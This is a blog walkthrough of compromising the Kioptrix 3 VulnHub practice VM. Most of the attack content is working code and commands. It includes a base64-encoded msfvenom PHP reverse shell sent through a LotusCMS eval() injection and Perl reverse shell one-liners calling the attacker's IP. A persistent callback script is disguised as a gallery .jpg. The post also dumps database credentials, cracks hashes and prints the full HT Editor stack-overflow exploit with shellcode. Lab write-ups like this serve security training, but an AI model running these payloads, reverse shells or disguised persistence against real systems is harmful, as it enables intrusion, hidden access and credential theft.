seekorswim My Security Blog

Kioptrix: Level 1.2 (#3)

VulnHub URL: https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
Hostname: Kioptrix3
IP Address: 10.183.0.240


Information Gathering/Recon


The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.240. The extracted VM also contained a TXT file stating that we should set the IP and hostname in our hosts file (to be able to access the web app). The hostname is kioptrix3.com.


Service Enumeration/Scanning


root@kali:~/Walkthroughs/kioptrix3# nmap -Pn -sT -sV -A --script=default,banner -oA kioptrix3 -p- kioptrix3.com
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-12 19:07 CDT
Nmap scan report for kioptrix3.com (10.183.0.240)
Host is up (0.0027s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
|_banner: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1.2
| ssh-hostkey:
|   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Ligoat Security - Got Goat? Security ...
MAC Address: 00:0C:29:87:34:25 (VMware)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=5/12%OT=22%CT=1%CU=36071%PV=Y%DS=1%DC=D%G=Y%M=000C29%T
OS:M=5CD8B556%P=x86_64-pc-linux-gnu)SEQ(SP=C1%GCD=1%ISR=CD%TI=Z%CI=Z%II=I%T
OS:S=7)OPS(O1=M5B4ST11NW5%O2=M5B4ST11NW5%O3=M5B4NNT11NW5%O4=M5B4ST11NW5%O5=
OS:M5B4ST11NW5%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=1
OS:6A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M5B4NNSNW5%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   2.73 ms kioptrix3.com (10.183.0.240)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.03 seconds


Gaining Access


Looking at the software version numbers returned from nmap.
  • OpenSSH_4.7p1 - nothing of note
  • Apache/2.2.8 - nothing of note
  • PHP/5.2.4-2ubuntu5.6 - nothing of note

Time to start targeting the web app. Digging through the site, the login page indicates it is running Lotus CMS.



Checking the exploit database, we found some potential remote code vulnerabilities.

LotusCMS 3.0.3 - Multiple Vulnerabilities                                                                    | exploits/php/webapps/16982.txt
LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit)                                                | exploits/php/remote/18565.rb
Lotus CMS Fraise 3.0 - Local File Inclusion / Remote Code Execution                                          | exploits/php/webapps/15964.py
Lotus Core CMS 1.0.1 - Remote File Inclusion                                                                 | exploits/php/webapps/5866.txt

Looking through each, the Metasploit one seems to be the most straight forward. It basically just involves posting exploit code to index.php. First, I'll create my PHP reverse shell code using msfvenom. I'll base64 encode it to make it simpler to post.

root@kali:~/Walkthroughs/kioptrix3# msfvenom -p php/reverse_php LHOST=10.183.0.222 LPORT=5432 -e php/base64 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 4078 (iteration=0)
php/base64 chosen with final size 4078
Payload size: 4078 bytes

I'll also start my PHP reverse shell listener (along with a second reverse shell listener). I like to create two listeners because reverse shells created through web requests often timeout pretty quickly.

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:5432
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:5433

Now, we just need to send our payload using curl.

curl -d "page=index%27%29%3Beval%28base64_decode%28ICAgIC8qPD9waHAgLyoqLwogICAgICBAZXJyb3JfcmVwb3J0aW5nKDApOwogICAgICBAc2V0X3RpbWVfbGltaXQoMCk7IEBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CiAgICAgICRkaXM9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiAgICAgIGlmKCFlbXB0eSgkZGlzKSl7CiAgICAgICAgJGRpcz1wcmVnX3JlcGxhY2UoJy9bLCBdKy8nLCAnLCcsICRkaXMpOwogICAgICAgICRkaXM9ZXhwbG9kZSgnLCcsICRkaXMpOwogICAgICAgICRkaXM9YXJyYXlfbWFwKCd0cmltJywgJGRpcyk7CiAgICAgIH1lbHNlewogICAgICAgICRkaXM9YXJyYXkoKTsKICAgICAgfQogICAgICAKICAgICRpcGFkZHI9JzEwLjE4My4wLjIyMic7CiAgICAkcG9ydD01NDMyOwoKICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ0RzU3d2RnNRQycpKXsKICAgICAgZnVuY3Rpb24gRHNTd3ZGc1FDKCRjKXsKICAgICAgICBnbG9iYWwgJGRpczsKICAgICAgICAKICAgICAgaWYgKEZBTFNFICE9PSBzdHJwb3Moc3RydG9sb3dlcihQSFBfT1MpLCAnd2luJyApKSB7CiAgICAgICAgJGM9JGMuIiAyPiYxXG4iOwogICAgICB9CiAgICAgICR0akFvdEdkPSdpc19jYWxsYWJsZSc7CiAgICAgICRFc1pZa1Q9J2luX2FycmF5JzsKICAgICAgCiAgICAgIGlmKCR0akFv.dEdkKCdwYXNzdGhydScpYW5kISRFc1pZa1QoJ3Bhc3N0aHJ1JywkZGlzKSl7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBwYXNzdGhydSgkYyk7CiAgICAgICAgJG89b2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgb2JfZW5kX2NsZWFuKCk7CiAgICAgIH1lbHNlCiAgICAgIGlmKCR0akFvdEdkKCdwb3BlbicpYW5kISRFc1pZa1QoJ3BvcGVuJywkZGlzKSl7CiAgICAgICAgJGZwPXBvcGVuKCRjLCdyJyk7CiAgICAgICAgJG89TlVMTDsKICAgICAgICBpZihpc19yZXNvdXJjZSgkZnApKXsKICAgICAgICAgIHdoaWxlKCFmZW9mKCRmcCkpewogICAgICAgICAgICAkby49ZnJlYWQoJGZwLDEwMjQpOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBAcGNsb3NlKCRmcCk7CiAgICAgIH1lbHNlCiAgICAgIGlmKCR0akFvdEdkKCdzeXN0ZW0nKWFuZCEkRXNaWWtUKCdzeXN0ZW0nLCRkaXMpKXsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIHN5c3RlbSgkYyk7CiAgICAgICAgJG89b2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgb2JfZW5kX2NsZWFuKCk7CiAgICAgIH1lbHNlCiAgICAgIGlmKCR0akFvdEdkKCdzaGVsbF9leGVjJylhbmQhJEVzWllrVCgnc2hlbGxfZXhlYycsJGRpcykpewogICAgICAgICRvPXNoZWxsX2V4ZWMoJGMpOwogICAgICB9ZWxzZQogICAgICBpZig.kdGpBb3RHZCgncHJvY19vcGVuJylhbmQhJEVzWllrVCgncHJvY19vcGVuJywkZGlzKSl7CiAgICAgICAgJGhhbmRsZT1wcm9jX29wZW4oJGMsYXJyYXkoYXJyYXkoJ3BpcGUnLCdyJyksYXJyYXkoJ3BpcGUnLCd3JyksYXJyYXkoJ3BpcGUnLCd3JykpLCRwaXBlcyk7CiAgICAgICAgJG89TlVMTDsKICAgICAgICB3aGlsZSghZmVvZigkcGlwZXNbMV0pKXsKICAgICAgICAgICRvLj1mcmVhZCgkcGlwZXNbMV0sMTAyNCk7CiAgICAgICAgfQogICAgICAgIEBwcm9jX2Nsb3NlKCRoYW5kbGUpOwogICAgICB9ZWxzZQogICAgICBpZigkdGpBb3RHZCgnZXhlYycpYW5kISRFc1pZa1QoJ2V4ZWMnLCRkaXMpKXsKICAgICAgICAkbz1hcnJheSgpOwogICAgICAgIGV4ZWMoJGMsJG8pOwogICAgICAgICRvPWpvaW4oY2hyKDEwKSwkbykuY2hyKDEwKTsKICAgICAgfWVsc2UKICAgICAgewogICAgICAgICRvPTA7CiAgICAgIH0KICAgIAogICAgICAgIHJldHVybiAkbzsKICAgICAgfQogICAgfQogICAgJG5vZnVuY3M9J25vIGV4ZWMgZnVuY3Rpb25zJzsKICAgIGlmKGlzX2NhbGxhYmxlKCdmc29ja29wZW4nKWFuZCFpbl9hcnJheSgnZnNvY2tvcGVuJywkZGlzKSl7CiAgICAgICRzPUBmc29ja29wZW4oInRjcDovLzEwLjE4My4wLjIyMiIsJHBvcnQpOwogICAgICB3aGlsZSgkYz1mcmVhZCgkcywyMD.Q4KSl7CiAgICAgICAgJG91dCA9ICcnOwogICAgICAgIGlmKHN1YnN0cigkYywwLDMpID09ICdjZCAnKXsKICAgICAgICAgIGNoZGlyKHN1YnN0cigkYywzLC0xKSk7CiAgICAgICAgfSBlbHNlIGlmIChzdWJzdHIoJGMsMCw0KSA9PSAncXVpdCcgfHwgc3Vic3RyKCRjLDAsNCkgPT0gJ2V4aXQnKSB7CiAgICAgICAgICBicmVhazsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICRvdXQ9RHNTd3ZGc1FDKHN1YnN0cigkYywwLC0xKSk7CiAgICAgICAgICBpZigkb3V0PT09ZmFsc2UpewogICAgICAgICAgICBmd3JpdGUoJHMsJG5vZnVuY3MpOwogICAgICAgICAgICBicmVhazsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZndyaXRlKCRzLCRvdXQpOwogICAgICB9CiAgICAgIGZjbG9zZSgkcyk7CiAgICB9ZWxzZXsKICAgICAgJHM9QHNvY2tldF9jcmVhdGUoQUZfSU5FVCxTT0NLX1NUUkVBTSxTT0xfVENQKTsKICAgICAgQHNvY2tldF9jb25uZWN0KCRzLCRpcGFkZHIsJHBvcnQpOwogICAgICBAc29ja2V0X3dyaXRlKCRzLCJzb2NrZXRfY3JlYXRlIik7CiAgICAgIHdoaWxlKCRjPUBzb2NrZXRfcmVhZCgkcywyMDQ4KSl7CiAgICAgICAgJG91dCA9ICcnOwogICAgICAgIGlmKHN1YnN0cigkYywwLDMpID09ICdjZCAnKXsKICAgICAgICAgIGNoZGlyKHN1YnN0cigkYywzLC0xKSk7C.iAgICAgICAgfSBlbHNlIGlmIChzdWJzdHIoJGMsMCw0KSA9PSAncXVpdCcgfHwgc3Vic3RyKCRjLDAsNCkgPT0gJ2V4aXQnKSB7CiAgICAgICAgICBicmVhazsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICRvdXQ9RHNTd3ZGc1FDKHN1YnN0cigkYywwLC0xKSk7CiAgICAgICAgICBpZigkb3V0PT09ZmFsc2UpewogICAgICAgICAgICBAc29ja2V0X3dyaXRlKCRzLCRub2Z1bmNzKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIEBzb2NrZXRfd3JpdGUoJHMsJG91dCxzdHJsZW4oJG91dCkpOwogICAgICB9CiAgICAgIEBzb2NrZXRfY2xvc2UoJHMpOwogICAgfQo%29%29%3B%23" http://kioptrix3.com/index.php

After sending our payload, we got a session in Metasploit, then started our second session.

msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.183.0.222:5432 -> 10.183.0.240:56052) at 2019-05-12 22:02:22 -0500

msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

pwd
/home/www/kioptrix3.com
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' &
[*] Command shell session 2 opened (10.183.0.222:5433 -> 10.183.0.240:52844) at 2019-05-12 22:02:35 -0500


Maintaining Access


Since SSH is open on the victim, I checked to see if the www-data user has a default home directory and shell defined.

www-data@Kioptrix3:/home/www/kioptrix3.com/gallery$ grep `whoami` /etc/passwd
www-data:x:33:33:www-data:/var/www:/bin/sh

The home directory exists, but only allows writes by root.

drwxr-xr-x  2 root root  4096 Apr 12  2011 www

I won't be able to set up SSH keys, so I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes and use python's SimpleHTTPServer to serve it up to the victim.

root@kali:~/Walkthroughs/kioptrix3# cat thumbs
#!/bin/sh
while true; do
    perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
    # sleep for 300 seconds (5 mins)
    sleep 300
done
root@kali:~/Walkthroughs/kioptrix3# python -m SimpleHTTPServer 4321                                                                                   Serving HTTP on 0.0.0.0 port 4321 ...                                                                                                                 10.183.0.240 - - [12/May/2019 22:26:23] "GET /thumbs HTTP/1.0" 200 -

I uploaded the script to the victim's /home/www/kioptrix3.com/gallery/photos directory (with a file name similar to existing photos) and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.

www-data@Kioptrix3:/home/www/kioptrix3.com/gallery/photos$ wget -O thumb_daqpu89u9h.jpg 10.183.0.222:4321/thumbs
<otos$ wget -O thumb_daqpu89u9h.jpg 10.183.0.222:4321/thumbs                 
--18:26:24--  http://10.183.0.222:4321/thumbs
           => `thumb_daqpu89u9h.jpg'
Connecting to 10.183.0.222:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 309 [application/octet-stream]

100%[====================================>] 309           --.--K/s             

18:26:24 (59.20 MB/s) - `thumb_daqpu89u9h.jpg' saved [309/309]

www-data@Kioptrix3:/home/www/kioptrix3.com/gallery/photos$ chmod +x thumb_daqpu89u9h.jpg
<w/kioptrix3.com/gallery/photos$ chmod +x thumb_daqpu89u9h.jpg               
www-data@Kioptrix3:/home/www/kioptrix3.com/gallery/photos$ ./thumb_daqpu89u9h.jpg &
<w/kioptrix3.com/gallery/photos$ ./thumb_daqpu89u9h.jpg &                    
[1] 4333


Privilege Escalation


Checking the gconfig.php file in /home/www/kioptrix3.com/gallery, we found credentials for the MySQL server.

www-data@Kioptrix3:/home/www/kioptrix3.com/gallery$ cat gconfig.php
<?php
        error_reporting(0);
        /*
                A sample Gallarific configuration file. You should edit
                the installer details below and save this file as gconfig.php
                Do not modify anything else if you don't know what it is.
        */

        // Installer Details -----------------------------------------------

        // Enter the full HTTP path to your Gallarific folder below,
        // such as http://www.yoursite.com/gallery
        // Do NOT include a trailing forward slash

        $GLOBALS["gallarific_path"] = "http://kioptrix3.com/gallery";

        $GLOBALS["gallarific_mysql_server"] = "localhost";
        $GLOBALS["gallarific_mysql_database"] = "gallery";
        $GLOBALS["gallarific_mysql_username"] = "root";
        $GLOBALS["gallarific_mysql_password"] = "fuckeyou";

        // Setting Details -------------------------------------------------

if(!$g_mysql_c = @mysql_connect($GLOBALS["gallarific_mysql_server"], $GLOBALS["gallarific_mysql_username"], $GLOBALS["gallarific_mysql_password"])) {
                echo("A connection to the database couldn't be established: " . mysql_error());
                die();
}else {
        if(!$g_mysql_d = @mysql_select_db($GLOBALS["gallarific_mysql_database"], $g_mysql_c)) {
                echo("The Gallarific database couldn't be opened: " . mysql_error());
                die();
        }else {
                $settings=mysql_query("select * from gallarific_settings");
                if(mysql_num_rows($settings)!=0){   
                        while($data=mysql_fetch_array($settings)){
                                $GLOBALS["{$data['settings_name']}"]=$data['settings_value'];
                        }
                }

        }
}

?>

I logged into the MySQL server with the database credentials found in the config page to pull user accounts and passwords from the gallery database.

www-data@Kioptrix3:/home/www/kioptrix3.com/gallery$ mysql -u root -p
Enter password: fuckeyou

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 47
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| gallery            |
| mysql              |
+--------------------+
3 rows in set (0.00 sec)

mysql> use gallery;
use gallery;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+----------------------+
| Tables_in_gallery    |
+----------------------+
| dev_accounts         |
| gallarific_comments  |
| gallarific_galleries |
| gallarific_photos    |
| gallarific_settings  |
| gallarific_stats     |
| gallarific_users     |
+----------------------+
7 rows in set (0.00 sec)

mysql> select * from dev_accounts;
+----+------------+----------------------------------+
| id | username   | password                         |
+----+------------+----------------------------------+
|  1 | dreg       | 0d3eccfb887aabd50f243b3f155c0f85 |
|  2 | loneferret | 5badcaf789d3d1d09794d8f021f40f0e |
+----+------------+----------------------------------+
2 rows in set (0.00 sec)

mysql> select * from gallarific_users;
+--------+----------+----------+-----------+-----------+----------+-------+------------+---------+-------------+-------+----------+
| userid | username | password | usertype  | firstname | lastname | email | datejoined | website | issuperuser | photo | joincode |
+--------+----------+----------+-----------+-----------+----------+-------+------------+---------+-------------+-------+----------+
|      1 | admin    | n0t7t1k4 | superuser | Super     | User     |       | 1302628616 |         |           1 |       |          |
+--------+----------+----------+-----------+-----------+----------+-------+------------+---------+-------------+-------+----------+
1 row in set (0.04 sec)

Using the MD5 decrypter website at https://hashkiller.co.uk/Cracker/MD5, I was able to decipher the dev account passwords.

0d3eccfb887aabd50f243b3f155c0f85 MD5 Mast3r
5badcaf789d3d1d09794d8f021f40f0e MD5 starwars

Checking /etc/passwd, we have corresponding user accounts for both dev users.

www-data@Kioptrix3:/home/www/kioptrix3.com$ cat /etc/passwd | grep -i bash
root:x:0:0:root:/root:/bin/bash
loneferret:x:1000:100:loneferret,,,:/home/loneferret:/bin/bash
dreg:x:1001:1001:Dreg Gevans,0,555-5566,:/home/dreg:/bin/rbash

Time to see if their database passwords are the same as their local account passwords. I'll try the loneferret account first.

www-data@Kioptrix3:/home/www/kioptrix3.com$ su - loneferret
Password: starwars

loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
    (root) NOPASSWD: !/usr/bin/su
    (root) NOPASSWD: /usr/local/bin/ht

The first thing I did after logging in as the user was run sudo to see if there were any commands this account could run that my original account couldn't. In this case, the user loneferret can run the HT Editor (located in /usr/local/bin/ht) as root. According to "company policy", we really need to run this command.

loneferret@Kioptrix3:~$ cat CompanyPolicy.README
cat CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.

DG
CEO

NOTE: Before going any further with this account and this exploit, I went ahead and SSH'd to the victim using the loneferret account and credentials. This way I had a much nicer shell to work in.

Checking the version of the editor against known exploits...

loneferret@Kioptrix3:~$ /usr/local/bin/ht --version
ht 2.0.18 (POSIX) 07:26:02 on Apr 16 2011
(c) 1999-2004 Stefan Weyergraf
(c) 1999-2009 Sebastian Biallas <sb@biallas.net>

...we have a known stack overflow issue with the installed version.

HT Editor 2.0.18 - File Opening Stack Overflow                                                               | exploits/linux/local/17083.pl

Looking through the perl exploit script, there are several changes we'll need to make to tailor it to run on our victim. First of all, it is written for Perl 5.10, but only Perl 5.8 is available on the victim.

loneferret@Kioptrix3:~$ perl --version

This is perl, v5.8.8 built for i486-linux-gnu-thread-multi
[...snip...]

We'll have to change the Perl 5.10 specific features back to more standard functions. Specifically, the use of 'say' (changed to 'print') and the 'given/when' switch structure (changed to 'if/else').

root@kali:~/Walkthroughs/kioptrix3# diff 17083.pl.old 17083.pl
36d35
< use 5.010;
50c49
< say'[*]Looking for $esp and endwin()...';
---
> print'[*]Looking for $esp and endwin()...' . "\n";
59c58
< say '[+]endwin() address found! (0x', $infos->[3],')';
---
> print '[+]endwin() address found! (0x', $infos->[3],')' . "\n";
65c64
< say '[+]$esp place found! (0x', $esp, ")\012Now exploiting...";
---
> print '[+]$esp place found! (0x', $esp, ")\012Now exploiting..." . "\n";
72,73c71
<       given(shift) {
<               when(/Linux/) {
---
>               if ($_[0] =~ /Linux/) {
75,76c73
<               }
<               when(/FreeBSD/) {
---
>               }elsif ($_[0] =~ /FreeBSD/) {
80d76
<       }
84,85c80
<       given(shift) {
<               when("linux") {
---
>               if ($_[0] eq "linux") {
91,92c86
<               }
<               when("freebsd") {
---
>               }elsif ($_[0] eq "freebsd") {
95d88
<       }

Additionally, the script sets different variables based on the use of "Linux" vs "FreeBSD". Unfortunately, the location it is expecting to find the editor app in on Linux (or victim's os) doesn't match what we actually have. It is looking for HT editor at /usr/bin/hte, but we have it installed at /usr/local/bin/ht.

52c51
< my $namez = [qw#/usr/bin/hte /usr/local/bin/ht#];
---
> my $namez = [qw#/usr/local/bin/ht /usr/local/bin/ht#];

Finally, the we want the script to run the HT editor using sudo (since our user has permission to run the editor as root without a password). To do this, we just need to prepend a parameter to the payload array (before it is passed to exec).

67c66
< my @payload = ($infos->[0], ("A" x ($infos->[1] - length(qx{pwd}))) . reverse(pack('H*', $infos->[3])) . reverse(pack('H*', $esp)) . $infos->[2]);
---
> my @payload = ("sudo", $infos->[0], ("A" x ($infos->[1] - length(qx{pwd}))) . reverse(pack('H*', $infos->[3])) . reverse(pack('H*', $esp)) . $infos->[2]);

So, our final exploit script, with all the changes becomes...

root@kali:~/Walkthroughs/kioptrix3# cat 17083.pl
# Exploit Title: HT Editor File openning Stack Overflow (0day)
# Date: March 30th 2011
# Author: ZadYree
# Software Link: http://hte.sourceforge.net/downloads.html
# Version: <= 2.0.18
# Tested on: Linux/Windows (buffer padding may differ on W32)
# CVE : None
#!/usr/bin/perl
=head1 TITLE

HT Editor <=2.0.18 0day Stack-Based Overflow Exploit


=head1 DESCRIPTION

The vulnerability is triggered by a too large argument (+ path) which simply lets you overwrite eip.


=head2 AUTHOR

ZadYree ~ 3LRVS Team


=head3 SEE ALSO

ZadYree's blog: z4d.tuxfamily.org   

3LRVS blog: 3lrvs.tuxfamily.org

Shellcodes based on
http://www.shell-storm.org/shellcode/files/shellcode-606.php
http://www.shell-storm.org/shellcode/files/shellcode-171.php

=> Thanks
=cut

my ($esp, $retaddr);
my $scz =       [       "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e" .
                                "\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8" .
                                "\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67" .
                                "\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30" .
                                "\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4" .
                                "\x53\x52\x54\x8a\xe2\xce\x81",
                                "\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b" .
                                "\x08\x89\x43\x0c\x50\x8d\x53\x08\x52\x53" .
                                "\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff" .
                                "/bin/sh"       ];

print'[*]Looking for $esp and endwin()...' . "\n";

my $namez = [qw#/usr/local/bin/ht /usr/local/bin/ht#];

my $infos = get_infos(qx{uname});   

my $name = $infos->[0];


print '[+]endwin() address found! (0x', $infos->[3],')' . "\n";

for my $line(qx{objdump -D $name | grep "ff e4"}) {
        $esp = "0" . $1, last if ($line =~ m{([a-f0-9]{7}).+jmp\s{4}\*%esp});
}

print '[+]$esp place found! (0x', $esp, ")\012Now exploiting..." . "\n";

my @payload = ("sudo", $infos->[0], ("A" x ($infos->[1] - length(qx{pwd}))) . reverse(pack('H*', $infos->[3])) . reverse(pack('H*', $esp)) . $infos->[2]);
exec(@payload);


sub get_infos {
                if ($_[0] =~ /Linux/) {
                        return([$namez->[0], 4108, $scz->[0], getendwin("linux")]);
                }elsif ($_[0] =~ /FreeBSD/) {
                        return([$namez->[1], 271, $scz->[1], getendwin("freebsd")]);
                }
                #Possibility to add friends ^^
}

sub getendwin {
                if ($_[0] eq "linux") {
                        my $n = $namez->[0];
                        for (qx{objdump -d $n | grep endwin}) {
                                $retaddr = $1, last if ($_ =~ m{(.*) <});
                        }
                        return($retaddr);
                }elsif ($_[0] eq "freebsd") {
                        return("282c2990");
                }
}

Time to transfer the exploit over to the victim and run it. Again, we'll use python's SimpleHTTPServer to download the file to the victim.

loneferret@Kioptrix3:~$ wget -O 17083.pl 10.183.0.222:4321/17083.pl
--05:14:18--  http://10.183.0.222:4321/17083.pl
           => `17083.pl'
Connecting to 10.183.0.222:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,317 (2.3K) [text/x-perl]

100%[==========================================================================================================>] 2,317         --.--K/s

05:14:18 (8.57 MB/s) - `17083.pl' saved [2317/2317]

loneferret@Kioptrix3:~$ perl 17083.pl
[*]Looking for $esp and endwin()...
[+]endwin() address found! (0x0804a3f8)
[+]$esp place found! (0x0818138b)
Now exploiting...
Error opening terminal: screen.xterm-256color.

When we first tried to run the exploit, we got an error "opening terminal". To fix this, we just had to set the TERM environment variable.

loneferret@Kioptrix3:~$ export TERM=linux

Running again...

loneferret@Kioptrix3:~$ perl 17083.pl
[*]Looking for $esp and endwin()...
[+]endwin() address found! (0x0804a3f8)
[+]$esp place found! (0x0818138b)
Now exploiting...

File Edit Windows Help                                                                                                               05:14 13.05.2019
��[x]���������������������������������������������������������������� log window ����������������������������������������������������������������1��Ŀ
�ht 2.0.18 (POSIX) 07:26:02 on Apr 16 2011                                                                                                           �
�(c) 1999-2004 Stefan Weyergraf                                                                                                                      �
�(c) 1999-2009 Sebastian Biallas <sb@biallas.net>                                                                                                    �
�appname = /usr/local/bin/ht                                                                                                                         �
�config = /home/loneferret/.htcfg2                                                                                                                   �
�error loading file /home/loneferret/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
�                                                                                                                                                    �
�                                                                                                                                                    �
�                                                                                                                                                    �
�                                                                                                                                                    �
[...snip...]
�                                                                                                                                                    �
�                                                                                                                                                    �
�                                                                                                                                                    �
�                                                                                                                                                    �
������������������������������������������������������������������������������������������������������������������������������������������������������
root@Kioptrix3:/home/loneferret# id
uid=0(root) gid=0(root) groups=0(root)

We have root! 😄

Let's get that root flag.

root@Kioptrix3:/home/loneferret# cd /root
root@Kioptrix3:/root# cat Congrats.txt
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.

Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone.
Difficulty is relative, keep that in mind.

The object is to learn, do some research and have a little (legal)
fun in the process.


I hope you enjoyed this third challenge.

Steven McElrea
aka loneferret
http://www.kioptrix.com


Credit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.

Main page CMS:
http://www.lotuscms.org

Gallery application:  
Gallarific 2.1 - Free Version released October 10, 2009
http://www.gallarific.com
Vulnerable version of this application can be downloaded
from the Exploit-DB website:
http://www.exploit-db.com/exploits/15891/

The HT Editor can be found here:
http://hte.sourceforge.net/downloads.html
And the vulnerable version on Exploit-DB here:
http://www.exploit-db.com/exploits/17083/


Also, all pictures were taken from Google Images, so being part of the
public domain I used them.


Pivoting

N/A


Clean Up


*** STOP /home/www/kioptrix3.com/gallery/photos/thumb_daqpu89u9h.jpg ***
*** REMOVE /home/www/kioptrix3.com/gallery/photos/thumb_daqpu89u9h.jpg ***
*** REMOVE /home/loneferret/17083.pl ***


Additional Info

N/A